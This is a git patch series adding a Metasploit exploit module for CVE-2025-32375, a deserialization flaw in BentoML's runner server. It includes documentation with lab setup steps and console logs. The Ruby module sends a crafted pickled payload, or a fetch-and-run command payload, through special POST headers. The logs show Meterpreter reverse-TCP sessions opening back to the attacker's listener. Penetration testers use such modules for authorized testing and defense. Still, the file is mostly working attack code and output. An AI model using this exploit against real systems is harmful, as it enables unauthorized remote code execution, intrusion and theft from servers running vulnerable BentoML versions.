From e1b5109c70ccf4831fc389137e86284fcd9658d3 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Thu, 17 Apr 2025 20:46:43 +0900 Subject: [PATCH 1/3] Add BentoML RCE module (CVE-2025-32375) --- ...entoml_runner_server_rce_cve_2025_32375.md | 165 ++++++++++++++++++ ...entoml_runner_server_rce_cve_2025_32375.rb | 110 ++++++++++++ 2 files changed, 275 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md create mode 100644 modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb diff --git a/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md new file mode 100644 index 0000000000..8f35c1df57 --- /dev/null +++ b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md @@ -0,0 +1,165 @@ +## Vulnerable Application + +There was an insecure deserialization in BentoML's runner server. +By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, +which will grant the attackers to have the initial access and information disclosure on the server. + +The vulnerability affects: + + * 1.0.0a1 <= BentoML < 1.4.8 + +This module was successfully tested on: + + * BentoML 1.3.5 installed on Ubuntu 20.04 + + +### Installation + +1. `pip install -U bentoml==1.3.5` + +2. Create a file named model.py to create a simple model and save it: +```python3 +import bentoml +import numpy as np + +class mymodel: + def predict(self, info): + return np.abs(info) + def __call__(self, info): + return self.predict(info) + +model = mymodel() +bentoml.picklable_model.save_model("mymodel", model) +``` + +3. Run the following command to save this model: `python3 model.py` + +4. Create bentofile.yaml to build this model: +```yml +service: "service.py" +description: "A model serving service with BentoML" +python: + packages: + - bentoml + - numpy +models: + - tag: MyModel:latest +include: + - "*.py" +``` + +5. Create service.py to host this model: +```python3 +import bentoml +from bentoml.io import NumpyNdarray +import numpy as np + + +model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() + +svc = bentoml.Service("myservice", runners=[model_runner]) + +async def predict(input_data: np.ndarray): + + input_columns = np.split(input_data, input_data.shape[1], axis=1) + result_generator = model_runner.async_run(input_columns, is_stream=True) + async for result in result_generator: + yield result +``` + +6. Run the following commands to build and host this model: +```bash +bentoml build +bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios + +### Python payload +``` +msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375 +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options + +Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 3000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload +target => Python payload +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Sending stage (24772 bytes) to 192.168.56.15 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : vul +OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +### Linux command +``` +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command +target => Linux Command +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.15 +OS : Ubuntu 20.04 (Linux 5.4.0-212-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb new file mode 100644 index 0000000000..44e531ce7d --- /dev/null +++ b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "BentoML's runner server RCE", + 'Description' => %q{ + There was an insecure deserialization in BentoML's runner server. + By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, + which will grant the attackers to have the initial access and information disclosure on the server. + }, + 'Author' => [ + 'SeaWind', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-32375'], + ['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'], + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Arch' => ARCH_PYTHON, + 'Platform' => 'python', + 'Type' => :python, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + } + ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-04-09', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(3000), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'metrics') + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'readyz') + }) + return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200 + + Exploit::CheckCode::Detected("BentoML\'s runner server detected.") + # Version check not available + end + + def exploit + if target['Type'] == :python + pl = payload.encoded + else + pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")" + end + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'args-number' => '1', + 'Content-Type' => 'application/vnd.bentoml.pickled', + 'Payload-Container' => 'NdarrayContainer', + 'Payload-Meta' => '{"format": "default"}', + 'Batch-Size' => '-1' + }, + 'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl) + }) + # No response check here + end + +end From f579235b95160c9e61d82022a497b5c816292d29 Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Tue, 22 Apr 2025 21:53:05 +0900 Subject: [PATCH 2/3] Apply suggestions from code review Co-authored-by: jheysel-r7 --- .../http/bentoml_runner_server_rce_cve_2025_32375.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb index 44e531ce7d..c7d4b3d379 100644 --- a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb +++ b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb @@ -13,11 +13,11 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "BentoML's runner server RCE", + 'Name' => 'BentoML's runner server RCE', 'Description' => %q{ - There was an insecure deserialization in BentoML's runner server. - By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, - which will grant the attackers to have the initial access and information disclosure on the server. + There was an insecure deserialization in BentoML's runner server prior to version 1.4.8. + By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server, + which will grant initial access and information disclosure. }, 'Author' => [ 'SeaWind', # Vulnerability discovery and PoC @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options( [ - Opt::RPORT(3000), + Opt::RPORT(3000) ] ) end From dc8531e37f249e6e6a9be7356d4742aecb21d4b3 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Tue, 22 Apr 2025 21:57:05 +0900 Subject: [PATCH 3/3] Fix after applied suggestions (escape ') --- .../linux/http/bentoml_runner_server_rce_cve_2025_32375.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb index c7d4b3d379..da5604e457 100644 --- a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb +++ b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'BentoML's runner server RCE', + 'Name' => 'BentoML\'s runner server RCE', 'Description' => %q{ There was an insecure deserialization in BentoML's runner server prior to version 1.4.8. By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server,